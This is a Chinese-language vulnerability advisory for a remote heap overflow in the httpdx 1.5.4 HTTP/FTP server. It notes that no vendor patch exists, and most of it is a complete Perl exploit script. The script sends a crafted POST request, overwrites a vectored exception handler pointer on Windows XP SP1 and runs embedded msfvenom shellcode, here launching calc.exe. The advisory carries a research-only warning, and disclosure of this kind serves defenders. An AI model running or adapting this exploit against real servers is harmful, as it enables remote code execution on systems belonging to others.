发布日期：2012-07-29
更新日期：2012-07-31
受影响系统：
httpdx httpdx 1.5.4
httpdx httpdx 1.5.3b
httpdx httpdx 1.5.3
httpdx httpdx 1.5.2
httpdx httpdx 1.5
描述：
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BUGTRAQ ID: 54712
httpdx是一款轻型的http和ftp服务器。
httpdx 1.5.4及之前版本在实现上存在远程堆缓冲区溢出漏洞，攻击者可利用此漏洞在受影响应用中执行任意代码。
<*来源：st3n
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
st3n （）提供了如下测试方法：
#!/usr/bin/perl -w
#======================================================================
# Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow
# Date: 28 July 2012
# Exploit Author: st3n [at sign] funoverip [dot] net
# Vendor Homepage:
# Download link: %201.5.4/httpdx1.5.4.zip/download
# Version: 1.5.4
# Tested on: WinXP SP1
#======================================================================
# Additional notes:
# -----------------
#
# - During a POST request, httpdx allocates memory with malloc(size+1),
# where 'size' is actually the value of "Content-Length" HTTP header..
# All post-data will then be copied into this area using strncpy(x,y,size2),
# where 'size2' = "request length" - "header length" (and not Content-Length)
#
# - As httpdx use it own handler function upon crash, this exploit overwrite
# the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode.
#
# - The exploit works very often, but not always. In both case, httpdx crash
# after the exploit.
#
# - WinXP SP1
# 0x77ED73B4 --> UnhandledExceptionFilter()
#======================================================================
use strict;
use IO::Socket::INET;
# target
my $host = "127.0.0.1";
# The [perl|php|py|..] page to call during the POST request.
# The page must exists and the extension must be defined in the directive
# "http.handlers = {...}" in httpdx.conf
my $page = "/test.pl";
# Windows XP - SP1 - English
# ---------------------------
# ptr to the first _VECTORED_EXCEPTION_NODE structure = 0x77fc3210 - 4
my $veh_node_addr = 0x77fc320c ;
# pointer to out shellcode => 0x00227664 - 8 = 0x0022765c
my $sc_ptr = 0x0022765c;
# shellcode
# (msfvenom -p windows/exec -f perl CMD=calc.exe)
my $shellcode =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .
"\x65\x78\x65\x00";
# flush after every write
$| = 1;
my $sock = IO::Socket::INET->new("$host:80");
print $sock "POST $page HTTP/1.0\r\n" .
"Content-Length: 1023\r\n" .
"Content-Type: text\r\n" .
"Host: $host" . "\r\n" .
"\r\n" .
# shellcode
$shellcode .
# nops
"\x90" x (1032-length($shellcode)) .
# VEH addr
pack('V', $veh_node_addr) .
# ptr to shellcode
pack('V', $sc_ptr)
;
# if any ...
while(<$sock>){
print $_;
}
exit;
建议：
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厂商补丁：
httpdx
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：